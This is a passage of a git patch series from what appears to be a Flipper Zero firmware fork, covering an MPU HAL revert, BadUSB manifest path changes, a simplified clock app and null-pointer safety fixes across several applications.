-void furi_hal_mpu_protect_read_only( - FuriHalMpuRegion region, - uint32_t address, - FuriHalMPURegionSize size) { - uint32_t size_ll = size; - size_ll = size_ll << MPU_RASR_SIZE_Pos; - - furi_hal_mpu_disable(); - LL_MPU_ConfigRegion( - region, 0x00, address, FURI_HAL_MPU_ATTRIBUTES | LL_MPU_REGION_PRIV_RO_URO | size_ll); - furi_hal_mpu_enable(); -} - -void furi_hal_mpu_protect_disable(FuriHalMpuRegion region) { - furi_hal_mpu_disable(); - LL_MPU_DisableRegion(region); - furi_hal_mpu_enable(); -} - -void furi_hal_mpu_set_stack_protection(uint32_t* stack) { - // Protection area address must be aligned to region size - uint32_t stack_ptr = (uint32_t)stack; - uint32_t mask = ((1 << (FURI_HAL_MPU_STACK_PROTECT_REGION + 2)) - 1); - stack_ptr &= ~mask; - if(stack_ptr < (uint32_t)stack) stack_ptr += (mask + 1); - - furi_hal_mpu_protect_read_only( - FuriHalMpuRegionStack, stack_ptr, FURI_HAL_MPU_STACK_PROTECT_REGION); -} \ No newline at end of file diff --git a/firmware/targets/furi_hal_include/furi_hal_mpu.h b/firmware/targets/furi_hal_include/furi_hal_mpu.h deleted file mode 100644 index 5dddadeb6..000000000 --- a/firmware/targets/furi_hal_include/furi_hal_mpu.h +++ /dev/null @@ -1,86 +0,0 @@ -/** - * @file furi_hal_light.h - * Light control HAL API - */ - -#pragma once - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef enum { - FuriHalMpuRegionNULL = 0x00, // region 0 used to protect null pointer dereference - FuriHalMpuRegionStack = 0x01, // region 1 used to protect stack - FuriHalMpuRegion2 = 0x02, - FuriHalMpuRegion3 = 0x03, - FuriHalMpuRegion4 = 0x04, - FuriHalMpuRegion5 = 0x05, - FuriHalMpuRegion6 = 0x06, - FuriHalMpuRegion7 = 0x07, -} FuriHalMpuRegion; - -typedef enum { - FuriHalMPURegionSize32B = 0x04U, - FuriHalMPURegionSize64B = 0x05U, - FuriHalMPURegionSize128B = 0x06U, - FuriHalMPURegionSize256B = 0x07U, - FuriHalMPURegionSize512B = 0x08U, - FuriHalMPURegionSize1KB = 0x09U, - FuriHalMPURegionSize2KB = 0x0AU, - FuriHalMPURegionSize4KB = 0x0BU, - FuriHalMPURegionSize8KB = 0x0CU, - FuriHalMPURegionSize16KB = 0x0DU, - FuriHalMPURegionSize32KB = 0x0EU, - FuriHalMPURegionSize64KB = 0x0FU, - FuriHalMPURegionSize128KB = 0x10U, - FuriHalMPURegionSize256KB = 0x11U, - FuriHalMPURegionSize512KB = 0x12U, - FuriHalMPURegionSize1MB = 0x13U, - FuriHalMPURegionSize2MB = 0x14U, - FuriHalMPURegionSize4MB = 0x15U, - FuriHalMPURegionSize8MB = 0x16U, - FuriHalMPURegionSize16MB = 0x17U, - FuriHalMPURegionSize32MB = 0x18U, - FuriHalMPURegionSize64MB = 0x19U, - FuriHalMPURegionSize128MB = 0x1AU, - FuriHalMPURegionSize256MB = 0x1BU, - FuriHalMPURegionSize512MB = 0x1CU, - FuriHalMPURegionSize1GB = 0x1DU, - FuriHalMPURegionSize2GB = 0x1EU, - FuriHalMPURegionSize4GB = 0x1FU, -} FuriHalMPURegionSize; - -/** - * @brief Initialize memory protection unit - */ -void furi_hal_mpu_init(); - -/** -* @brief Enable memory protection unit -*/ -void furi_hal_mpu_enable(); - -/** -* @brief Disable memory protection unit -*/ -void furi_hal_mpu_disable(); - -void furi_hal_mpu_protect_no_access( - FuriHalMpuRegion region, - uint32_t address, - FuriHalMPURegionSize size); - -void furi_hal_mpu_protect_read_only( - FuriHalMpuRegion region, - uint32_t address, - FuriHalMPURegionSize size); - -void furi_hal_mpu_protect_disable(FuriHalMpuRegion region); - -#ifdef __cplusplus -} -#endif diff --git a/furi/core/memmgr.c b/furi/core/memmgr.c index 80f87b930..01cf573eb 100644 --- a/furi/core/memmgr.c +++ b/furi/core/memmgr.c @@ -36,8 +36,10 @@ void* calloc(size_t count, size_t size) { } char* strdup(const char* s) { - // arg s marked as non-null, so we need hack to check for NULL - furi_check(((uint32_t)s << 2) != 0); + const char* s_null = s; + if(s_null == NULL) { + return NULL; + } size_t siz = strlen(s) + 1; char* y = pvPortMalloc(siz); diff --git a/furi/core/thread.c b/furi/core/thread.c index 044f83711..ec7aa75a5 100644 --- a/furi/core/thread.c +++ b/furi/core/thread.c @@ -114,7 +114,7 @@ void furi_thread_set_name(FuriThread* thread, const char* name) { furi_assert(thread); furi_assert(thread->state == FuriThreadStateStopped); if(thread->name) free((void*)thread->name); - thread->name = name ? strdup(name) : NULL; + thread->name = strdup(name); } void furi_thread_set_stack_size(FuriThread* thread, size_t stack_size) { From 08c1a557567591ca490e2ec2198967d78469b729 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 4 Aug 2022 05:24:46 +0300 Subject: [PATCH 437/461] update manifest --- applications/bad_usb/bad_usb_app_i.h | 2 +- assets/resources/Manifest | 7 +++---- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/applications/bad_usb/bad_usb_app_i.h b/applications/bad_usb/bad_usb_app_i.h index 78cf2871d..fbcca82b4 100644 --- a/applications/bad_usb/bad_usb_app_i.h +++ b/applications/bad_usb/bad_usb_app_i.h @@ -15,7 +15,7 @@ #include "views/bad_usb_view.h" #define BAD_USB_APP_BASE_FOLDER ANY_PATH("badusb") -#define BAD_USB_APP_PATH_SCRIPT_FOLDER BAD_USB_APP_BASE_FOLDER "/scripts" +#define BAD_USB_APP_PATH_SCRIPT_FOLDER BAD_USB_APP_BASE_FOLDER #define BAD_USB_APP_PATH_LAYOUT_FOLDER BAD_USB_APP_BASE_FOLDER "/layouts" #define BAD_USB_APP_SCRIPT_EXTENSION ".txt" #define BAD_USB_APP_LAYOUT_EXTENSION ".kl" diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 9ab32f3f6..6f24b8e9d 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1659542137 +T:1659579428 D:badusb D:dolphin D:infrared @@ -9,7 +9,8 @@ D:subghz D:u2f D:unirf D:badusb/layouts -D:badusb/scripts +F:0e41ba26498b7511d7c9e6e6b5e3b149:1592:badusb/demo_macos.txt +F:e538ad2ce5a06ec45e1b5b24824901b1:1552:badusb/demo_windows.txt F:1139810f61ec7f8c8fe0398d92578b31:256:badusb/layouts/da-DA.kl F:13504463372b269bd102c68725921d90:256:badusb/layouts/de-CH.kl F:f392e25a23f50691b5a37e67845dec76:256:badusb/layouts/de-DE.kl @@ -25,8 +26,6 @@ F:66564950e0bbfb4cc1d847ce3ab28b24:256:badusb/layouts/it-IT.kl F:fe381203fa06318e0dc05c8c2efdc609:256:badusb/layouts/nl-NL.kl F:d939c563da44f227786350b6e467c155:256:badusb/layouts/pt-PT.kl F:b62d559209e0d450b4d77f76e29ec1be:256:badusb/layouts/sv-SE.kl -F:0e41ba26498b7511d7c9e6e6b5e3b149:1592:badusb/scripts/demo_macos.txt -F:e538ad2ce5a06ec45e1b5b24824901b1:1552:badusb/scripts/demo_windows.txt D:dolphin/L1_Boxing_128x64 D:dolphin/L1_Cry_128x64 D:dolphin/L1_Furippa1_128x64 From 8f809995890bad6c26a489402be8ee553c73157c Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 4 Aug 2022 05:44:40 +0300 Subject: [PATCH 438/461] add simple version of clock for now, and update is planned --- ReadMe.md | 2 +- applications/clock_app/clock_app.c | 307 +++-------------------------- 2 files changed, 23 insertions(+), 286 deletions(-) diff --git a/ReadMe.md b/ReadMe.md index 06a1ac8e1..5de0463a5 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -55,7 +55,7 @@ See changelog in releases for latest updates! - ESP32: WiFi Marauder companion plugin [(By 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) - NRF24: Sniffer & MouseJacker (with changes) [(By mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker) - HID Analyzer [(By Ownasaurus)](https://github.com/Ownasaurus/flipperzero-firmware/tree/hid-analyzer/applications/hid_analyzer) -- Clock/Stopwatch (with small fixes) [(By CompaqDisc, Stopwatch & Sound Alert By RogueMaster)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/unleashed/applications/clock_app/clock_app.c) +- Simple Clock (fixed) !! New version WIP, wait for updates !! [(Original by CompaqDisc)](https://gist.github.com/CompaqDisc/4e329c501bd03c1e801849b81f48ea61) - UniversalRF Remix (with changes)(only RAW subghz files) [(By ESurge)(Original UniversalRF By jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix) - Tetris (with fixes) [(By jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game) - Spectrum Analyzer (with changes) [(By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) - [Ultra Narrow mode & scan channels non-consecutively](https://github.com/theY4Kman/flipperzero-firmware/commits?author=theY4Kman) diff --git a/applications/clock_app/clock_app.c b/applications/clock_app/clock_app.c index 25ab2acc5..710184062 100644 --- a/applications/clock_app/clock_app.c +++ b/applications/clock_app/clock_app.c @@ -1,16 +1,14 @@ #include #include + #include + #include #include -#include -#include #define TAG "Clock" - -bool timerStarted = false; -int timerSecs = 0; -int songSelect = 2; +#define CLOCK_DATE_FORMAT "%.4d-%.2d-%.2d" +#define CLOCK_TIME_FORMAT "%.2d:%.2d:%.2d" typedef enum { EventTypeTick, @@ -28,6 +26,7 @@ typedef struct { static void clock_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { furi_assert(event_queue); + PluginEvent event = {.type = EventTypeKey, .input = *input_event}; furi_message_queue_put(event_queue, &event, FuriWaitForever); } @@ -35,292 +34,50 @@ static void clock_input_callback(InputEvent* input_event, FuriMessageQueue* even static void clock_render_callback(Canvas* const canvas, void* ctx) { canvas_clear(canvas); canvas_set_color(canvas, ColorBlack); + ClockState* state = (ClockState*)acquire_mutex((ValueMutex*)ctx, 25); - char strings[3][20]; - int curMin = (timerSecs / 60); - int curSec = timerSecs - (curMin * 60); + + char strings[2][20]; + snprintf( strings[0], sizeof(strings[0]), - "%.4d-%.2d-%.2d", + CLOCK_DATE_FORMAT, state->datetime.year, state->datetime.month, state->datetime.day); snprintf( strings[1], sizeof(strings[1]), - "%.2d:%.2d:%.2d", + CLOCK_TIME_FORMAT, state->datetime.hour, state->datetime.minute, state->datetime.second); - snprintf(strings[2], sizeof(strings[2]), "%.2d:%.2d", curMin, curSec); + release_mutex((ValueMutex*)ctx, state); canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned(canvas, 64, 8, AlignCenter, AlignCenter, strings[1]); + canvas_draw_str_aligned(canvas, 64, 42 - 16, AlignCenter, AlignCenter, strings[1]); canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 64, 20, AlignCenter, AlignTop, strings[0]); - // elements_button_left(canvas, "Alarms"); - // elements_button_right(canvas, "Settings"); - // elements_button_center(canvas, "Reset"); - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned(canvas, 64, 32, AlignCenter, AlignTop, strings[2]); - canvas_set_font(canvas, FontSecondary); - if(timerStarted) { - elements_button_center(canvas, "Stop"); - } else { - elements_button_center(canvas, "Start"); - } - if(songSelect == 0) { - elements_button_right(canvas, "S:OFF"); - } else if(songSelect == 1) { - elements_button_right(canvas, "S:PoRa"); - } else if(songSelect == 2) { - elements_button_right(canvas, "S:Mario"); - } else if(songSelect == 3) { - elements_button_right(canvas, "S:ByMin"); - } + canvas_draw_str_aligned(canvas, 64, 52 - 8, AlignCenter, AlignTop, strings[0]); } static void clock_state_init(ClockState* const state) { furi_hal_rtc_get_datetime(&state->datetime); } -const NotificationSequence clock_alert_silent = { - &message_force_vibro_setting_on, - &message_vibro_on, - &message_red_255, - &message_green_255, - &message_blue_255, - &message_display_backlight_on, - &message_vibro_off, - &message_display_backlight_off, - &message_delay_50, - &message_display_backlight_on, - NULL, -}; -const NotificationSequence clock_alert_pr1 = { - &message_force_speaker_volume_setting_1f, - &message_force_vibro_setting_on, - &message_vibro_on, - &message_red_255, - &message_green_255, - &message_blue_255, - &message_display_backlight_on, - &message_note_g5, - &message_delay_100, - &message_delay_100, - &message_delay_50, - &message_sound_off, - &message_vibro_off, - &message_display_backlight_off, - &message_delay_50, - &message_display_backlight_on, - &message_note_g5, - &message_delay_100, - &message_delay_100, - &message_delay_50, - &message_sound_off, - NULL, -}; -const NotificationSequence clock_alert_pr2 = { - &message_force_speaker_volume_setting_1f, - &message_force_vibro_setting_on, - &message_vibro_on, - &message_note_fs5, - &message_delay_100, - &message_delay_100, - &message_sound_off, - &message_display_backlight_off, - &message_vibro_off, - &message_delay_50, - &message_note_g5, - &message_delay_100, - &message_delay_100, - &message_sound_off, - &message_display_backlight_on, - &message_delay_50, - &message_note_a5, - &message_delay_100, - &message_delay_100, - &message_sound_off, - NULL, -}; -const NotificationSequence clock_alert_pr3 = { - &message_force_speaker_volume_setting_1f, - &message_display_backlight_off, - &message_note_g5, - &message_delay_100, - &message_delay_100, - &message_sound_off, - &message_delay_50, - &message_red_255, - &message_green_255, - &message_blue_255, - &message_display_backlight_on, - &message_delay_100, - NULL, -}; -const NotificationSequence clock_alert_mario1 = { - &message_force_speaker_volume_setting_1f, - &message_force_vibro_setting_on, - &message_vibro_on, - &message_red_255, - &message_green_255, - &message_blue_255, - &message_display_backlight_on, - &message_note_e5, - &message_delay_100, - &message_delay_100, - &message_delay_50, - &message_sound_off, - &message_note_e5, - &message_delay_100, - &message_delay_100, - &message_delay_50, - &message_sound_off, - &message_vibro_off, - &message_display_backlight_off, - &message_delay_100, - &message_display_backlight_on, - &message_delay_100, - &message_note_e5, - &message_delay_100, - &message_delay_100, - &message_delay_50, - &message_sound_off, - NULL, -}; -const NotificationSequence clock_alert_mario2 = { - &message_force_speaker_volume_setting_1f, - &message_force_vibro_setting_on, - &message_vibro_on, - &message_display_backlight_off, - &message_delay_100, - &message_display_backlight_on, - &message_delay_100, - &message_note_c5, - &message_delay_100, - &message_delay_100, - &message_sound_off, - &message_display_backlight_off, - &message_vibro_off, - &message_delay_50, - &message_note_e5, - &message_delay_100, - &message_delay_100, - &message_sound_off, - &message_display_backlight_on, - NULL, -}; -const NotificationSequence clock_alert_mario3 = { - &message_force_speaker_volume_setting_1f, - &message_display_backlight_off, - &message_note_g5, - &message_delay_100, - &message_delay_100, - &message_delay_100, - &message_delay_100, - &message_sound_off, - &message_delay_50, - &message_red_255, - &message_green_255, - &message_blue_255, - &message_display_backlight_on, - &message_delay_100, - &message_note_g4, - &message_delay_100, - &message_delay_100, - &message_delay_100, - &message_delay_100, - &message_sound_off, - NULL, -}; -const NotificationSequence clock_alert_perMin = { - &message_force_speaker_volume_setting_1f, - &message_note_g5, - &message_delay_100, - &message_delay_50, - &message_sound_off, - &message_delay_10, - &message_note_g4, - &message_delay_50, - &message_delay_10, - &message_delay_10, - &message_sound_off, - NULL, -}; -const NotificationSequence clock_alert_startStop = { - &message_force_speaker_volume_setting_1f, - &message_note_d6, - &message_delay_100, - &message_delay_10, - &message_delay_10, - &message_sound_off, - NULL, -}; - // Runs every 1000ms by default static void clock_tick(void* ctx) { furi_assert(ctx); FuriMessageQueue* event_queue = ctx; PluginEvent event = {.type = EventTypeTick}; - if(timerStarted) { - timerSecs = timerSecs + 1; - if(timerSecs % 60 == 0 && songSelect != 0) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_perMin); - furi_record_close("notification"); - } - if(songSelect == 1) { - if(timerSecs == 80) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_pr1); - furi_record_close("notification"); - } - if(timerSecs == 81) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_pr2); - furi_record_close("notification"); - } - if(timerSecs == 82) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_pr3); - furi_record_close("notification"); - } - } else if(songSelect == 2) { - if(timerSecs == 80) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_mario1); - furi_record_close("notification"); - } - if(timerSecs == 81) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_mario2); - furi_record_close("notification"); - } - if(timerSecs == 82) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_mario3); - furi_record_close("notification"); - } - } else { - if(timerSecs == 80) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_silent); - furi_record_close("notification"); - } - } - } // It's OK to loose this event if system overloaded furi_message_queue_put(event_queue, &event, 0); } int32_t clock_app(void* p) { UNUSED(p); - timerStarted = false; - timerSecs = 0; - songSelect = 2; FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); + ClockState* plugin_state = malloc(sizeof(ClockState)); clock_state_init(plugin_state); ValueMutex state_mutex; @@ -329,56 +86,34 @@ int32_t clock_app(void* p) { free(plugin_state); return 255; } + // Set system callbacks ViewPort* view_port = view_port_alloc(); view_port_draw_callback_set(view_port, clock_render_callback, &state_mutex); view_port_input_callback_set(view_port, clock_input_callback, event_queue); FuriTimer* timer = furi_timer_alloc(clock_tick, FuriTimerTypePeriodic, event_queue); furi_timer_start(timer, furi_kernel_get_tick_frequency()); + // Open GUI and register view_port Gui* gui = furi_record_open("gui"); gui_add_view_port(gui, view_port, GuiLayerFullscreen); + // Main loop PluginEvent event; for(bool processing = true; processing;) { FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); ClockState* plugin_state = (ClockState*)acquire_mutex_block(&state_mutex); + if(event_status == FuriStatusOk) { // press events if(event.type == EventTypeKey) { if(event.input.type == InputTypeShort || event.input.type == InputTypeRepeat) { switch(event.input.key) { case InputKeyUp: - if(timerStarted) timerSecs = timerSecs + 5; - break; case InputKeyDown: - if(timerStarted) timerSecs = timerSecs - 5; - break; case InputKeyRight: - if(songSelect == 0) { - songSelect = 1; - } else if(songSelect == 1) { - songSelect = 2; - } else if(songSelect == 2) { - songSelect = 3; - } else { - songSelect = 0; - } - break; case InputKeyLeft: - break; case InputKeyOk: - if(songSelect == 1 || songSelect == 2 || songSelect == 3) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_startStop); - furi_record_close("notification"); - } - if(timerStarted) { - timerStarted = false; - timerSecs = 0; - } else { - timerStarted = true; - } break; case InputKeyBack: // Exit the plugin @@ -390,12 +125,14 @@ int32_t clock_app(void* p) { furi_hal_rtc_get_datetime(&plugin_state->datetime); } } else { - FURI_LOG_D(TAG, "osMessageQueue: event timeout"); + FURI_LOG_D(TAG, "furi_message_queue: event timeout"); // event timeout } + view_port_update(view_port); release_mutex(&state_mutex, plugin_state); } + furi_timer_free(timer); view_port_enabled_set(view_port, false); gui_remove_view_port(gui, view_port); From 04ceebc032775c9693b6fe7bf32b43523b8a9420 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 4 Aug 2022 05:02:23 +0300 Subject: [PATCH 439/461] Revert "Revert "MPU Hal (#1492)"" This reverts commit 43345ba0bb8a3d83d5abe6ad830106872111af8e. --- .../archive/scenes/archive_scene_rename.c | 2 +- applications/bad_usb/bad_usb_app.c | 3 +- applications/bad_usb/bad_usb_app_i.h | 1 - applications/bt/bt_service/bt.c | 3 +- .../animations/views/bubble_animation_view.c | 25 +++--- .../desktop_settings/desktop_settings_app.c | 2 +- applications/gui/modules/button_menu.c | 20 +++-- applications/gui/modules/text_input.c | 2 +- applications/gui/modules/validators.h | 2 +- applications/ibutton/ibutton.c | 2 +- applications/infrared/infrared.c | 2 +- applications/input/input.c | 3 +- applications/lfrfid/lfrfid_app.cpp | 2 +- applications/music_player/music_player.c | 2 +- applications/nfc/nfc.c | 2 +- applications/power/power_service/power.c | 2 +- .../power_settings_app/power_settings_app.c | 2 +- applications/rpc/rpc_system.c | 4 + .../subghz/scenes/subghz_scene_save_name.c | 4 +- applications/subghz/subghz.c | 2 +- applications/unit_tests/rpc/rpc_test.c | 13 +-- applications/updater/updater.c | 2 +- firmware/targets/f7/Inc/FreeRTOSConfig.h | 6 +- firmware/targets/f7/furi_hal/furi_hal.c | 13 +-- .../targets/f7/furi_hal/furi_hal_interrupt.c | 19 ++++ firmware/targets/f7/furi_hal/furi_hal_mpu.c | 66 ++++++++++++++ .../targets/furi_hal_include/furi_hal_mpu.h | 86 +++++++++++++++++++ furi/core/memmgr.c | 6 +- furi/core/thread.c | 2 +- 29 files changed, 238 insertions(+), 62 deletions(-) create mode 100644 firmware/targets/f7/furi_hal/furi_hal_mpu.c create mode 100644 firmware/targets/furi_hal_include/furi_hal_mpu.h diff --git a/applications/archive/scenes/archive_scene_rename.c b/applications/archive/scenes/archive_scene_rename.c index 2a85f3ceb..293fa89af 100644 --- a/applications/archive/scenes/archive_scene_rename.c +++ b/applications/archive/scenes/archive_scene_rename.c @@ -37,7 +37,7 @@ void archive_scene_rename_on_enter(void* context) { false); ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - string_get_cstr(archive->browser->path), archive->file_extension, NULL); + string_get_cstr(archive->browser->path), archive->file_extension, ""); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); string_clear(filename); diff --git a/applications/bad_usb/bad_usb_app.c b/applications/bad_usb/bad_usb_app.c index 3eb86abf0..9fa824dc8 100644 --- a/applications/bad_usb/bad_usb_app.c +++ b/applications/bad_usb/bad_usb_app.c @@ -59,7 +59,7 @@ BadUsbApp* bad_usb_app_alloc(char* arg) { string_init(app->file_path); string_init(app->keyboard_layout); - if(arg != NULL) { + if(arg && strlen(arg)) { string_set_str(app->file_path, arg); } @@ -121,7 +121,6 @@ void bad_usb_app_free(BadUsbApp* app) { } // Views - view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewFileSelect); view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewWork); view_dispatcher_remove_view(app->view_dispatcher, BadUsbAppViewConfigLayout); bad_usb_free(app->bad_usb_view); diff --git a/applications/bad_usb/bad_usb_app_i.h b/applications/bad_usb/bad_usb_app_i.h index fbcca82b4..e456aa20e 100644 --- a/applications/bad_usb/bad_usb_app_i.h +++ b/applications/bad_usb/bad_usb_app_i.h @@ -43,7 +43,6 @@ struct BadUsbApp { typedef enum { BadUsbAppViewError, - BadUsbAppViewFileSelect, BadUsbAppViewWork, BadUsbAppViewConfig, BadUsbAppViewConfigLayout, diff --git a/applications/bt/bt_service/bt.c b/applications/bt/bt_service/bt.c index 6f0810dd9..bc80acc15 100644 --- a/applications/bt/bt_service/bt.c +++ b/applications/bt/bt_service/bt.c @@ -347,7 +347,8 @@ static void bt_close_connection(Bt* bt) { furi_event_flag_set(bt->api_event, BT_API_UNLOCK_EVENT); } -int32_t bt_srv() { +int32_t bt_srv(void* p) { + UNUSED(p); Bt* bt = bt_alloc(); if(furi_hal_rtc_get_boot_mode() != FuriHalRtcBootModeNormal) { diff --git a/applications/desktop/animations/views/bubble_animation_view.c b/applications/desktop/animations/views/bubble_animation_view.c index 54a686fb1..607862d11 100644 --- a/applications/desktop/animations/views/bubble_animation_view.c +++ b/applications/desktop/animations/views/bubble_animation_view.c @@ -143,7 +143,7 @@ static void bubble_animation_activate(BubbleAnimationView* view, bool force) { furi_assert(view); bool activate = true; BubbleAnimationViewModel* model = view_get_model(view->view); - if(!model->current) { + if(model->current == NULL) { activate = false; } else if(model->freeze_frame) { activate = false; @@ -151,14 +151,16 @@ static void bubble_animation_activate(BubbleAnimationView* view, bool force) { activate = false; } - if(!force) { - if((model->active_ended_at + model->current->active_cooldown * 1000) > - xTaskGetTickCount()) { - activate = false; - } else if(model->active_shift) { - activate = false; - } else if(model->current_frame >= model->current->passive_frames) { - activate = false; + if(model->current != NULL) { + if(!force) { + if((model->active_ended_at + model->current->active_cooldown * 1000) > + xTaskGetTickCount()) { + activate = false; + } else if(model->active_shift) { + activate = false; + } else if(model->current_frame >= model->current->passive_frames) { + activate = false; + } } } view_commit_model(view->view, false); @@ -288,7 +290,10 @@ static void bubble_animation_enter(void* context) { bubble_animation_activate(view, false); BubbleAnimationViewModel* model = view_get_model(view->view); - uint8_t frame_rate = model->current->icon_animation.frame_rate; + uint8_t frame_rate = 0; + if(model->current != NULL) { + frame_rate = model->current->icon_animation.frame_rate; + } view_commit_model(view->view, false); if(frame_rate) { diff --git a/applications/desktop/desktop_settings/desktop_settings_app.c b/applications/desktop/desktop_settings/desktop_settings_app.c index bc41be6e7..89513a8b8 100644 --- a/applications/desktop/desktop_settings/desktop_settings_app.c +++ b/applications/desktop/desktop_settings/desktop_settings_app.c @@ -90,7 +90,7 @@ void desktop_settings_app_free(DesktopSettingsApp* app) { extern int32_t desktop_settings_app(void* p) { DesktopSettingsApp* app = desktop_settings_app_alloc(); LOAD_DESKTOP_SETTINGS(&app->settings); - if(!strcmp(p, DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG)) { + if(p && (strcmp(p, DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG) == 0)) { scene_manager_next_scene(app->scene_manager, DesktopSettingsAppScenePinSetupHowto); } else { scene_manager_next_scene(app->scene_manager, DesktopSettingsAppSceneStart); diff --git a/applications/gui/modules/button_menu.c b/applications/gui/modules/button_menu.c index 36fd6f3ab..84fea7888 100644 --- a/applications/gui/modules/button_menu.c +++ b/applications/gui/modules/button_menu.c @@ -185,17 +185,19 @@ static void button_menu_process_ok(ButtonMenu* button_menu, InputType type) { return false; }); - if(item->type == ButtonMenuItemTypeControl) { - if(type == InputTypeShort) { - if(item && item->callback) { - item->callback(item->callback_context, item->index, type); + if(item) { + if(item->type == ButtonMenuItemTypeControl) { + if(type == InputTypeShort) { + if(item && item->callback) { + item->callback(item->callback_context, item->index, type); + } } } - } - if(item->type == ButtonMenuItemTypeCommon) { - if((type == InputTypePress) || (type == InputTypeRelease)) { - if(item && item->callback) { - item->callback(item->callback_context, item->index, type); + if(item->type == ButtonMenuItemTypeCommon) { + if((type == InputTypePress) || (type == InputTypeRelease)) { + if(item && item->callback) { + item->callback(item->callback_context, item->index, type); + } } } } diff --git a/applications/gui/modules/text_input.c b/applications/gui/modules/text_input.c index 5aa101bb4..c043c3c3c 100644 --- a/applications/gui/modules/text_input.c +++ b/applications/gui/modules/text_input.c @@ -147,7 +147,7 @@ static void text_input_backspace_cb(TextInputModel* model) { static void text_input_view_draw_callback(Canvas* canvas, void* _model) { TextInputModel* model = _model; - uint8_t text_length = strlen(model->text_buffer); + uint8_t text_length = model->text_buffer ? strlen(model->text_buffer) : 0; uint8_t needed_string_width = canvas_width(canvas) - 8; uint8_t start_pos = 4; diff --git a/applications/gui/modules/validators.h b/applications/gui/modules/validators.h index 15dbe901f..c4c4ef54c 100644 --- a/applications/gui/modules/validators.h +++ b/applications/gui/modules/validators.h @@ -1,7 +1,7 @@ #pragma once -// #include #include +#include #ifdef __cplusplus extern "C" { diff --git a/applications/ibutton/ibutton.c b/applications/ibutton/ibutton.c index 5ccb1f6c8..6f690fce7 100644 --- a/applications/ibutton/ibutton.c +++ b/applications/ibutton/ibutton.c @@ -353,7 +353,7 @@ int32_t ibutton_app(void* p) { bool key_loaded = false; bool rpc_mode = false; - if(p) { + if(p && strlen(p)) { uint32_t rpc_ctx = 0; if(sscanf(p, "RPC %lX", &rpc_ctx) == 1) { FURI_LOG_D(TAG, "Running in RPC mode"); diff --git a/applications/infrared/infrared.c b/applications/infrared/infrared.c index cbbd375d5..ddeaeecf3 100644 --- a/applications/infrared/infrared.c +++ b/applications/infrared/infrared.c @@ -405,7 +405,7 @@ int32_t infrared_app(void* p) { bool is_remote_loaded = false; bool is_rpc_mode = false; - if(p) { + if(p && strlen(p)) { uint32_t rpc_ctx = 0; if(sscanf(p, "RPC %lX", &rpc_ctx) == 1) { infrared->rpc_ctx = (void*)rpc_ctx; diff --git a/applications/input/input.c b/applications/input/input.c index 27e7bf21c..7b8433aef 100644 --- a/applications/input/input.c +++ b/applications/input/input.c @@ -64,7 +64,8 @@ const char* input_get_type_name(InputType type) { return "Unknown"; } -int32_t input_srv() { +int32_t input_srv(void* p) { + UNUSED(p); input = malloc(sizeof(Input)); input->thread_id = furi_thread_get_current_id(); input->event_pubsub = furi_pubsub_alloc(); diff --git a/applications/lfrfid/lfrfid_app.cpp b/applications/lfrfid/lfrfid_app.cpp index 29e99b74f..5b762ae1d 100644 --- a/applications/lfrfid/lfrfid_app.cpp +++ b/applications/lfrfid/lfrfid_app.cpp @@ -74,7 +74,7 @@ void LfRfidApp::run(void* _args) { make_app_folder(); - if(strlen(args)) { + if(args && strlen(args)) { uint32_t rpc_ctx_ptr = 0; if(sscanf(args, "RPC %lX", &rpc_ctx_ptr) == 1) { rpc_ctx = (RpcAppSystem*)rpc_ctx_ptr; diff --git a/applications/music_player/music_player.c b/applications/music_player/music_player.c index b788361af..073b9d00f 100644 --- a/applications/music_player/music_player.c +++ b/applications/music_player/music_player.c @@ -300,7 +300,7 @@ int32_t music_player_app(void* p) { string_init(file_path); do { - if(p) { + if(p && strlen(p)) { string_cat_str(file_path, p); } else { string_set_str(file_path, MUSIC_PLAYER_APP_PATH_FOLDER); diff --git a/applications/nfc/nfc.c b/applications/nfc/nfc.c index 32e74e8f2..93645cc13 100644 --- a/applications/nfc/nfc.c +++ b/applications/nfc/nfc.c @@ -238,7 +238,7 @@ int32_t nfc_app(void* p) { char* args = p; // Check argument and run corresponding scene - if((*args != '\0')) { + if(args && strlen(args)) { nfc_device_set_loading_callback(nfc->dev, nfc_show_loading_popup, nfc); uint32_t 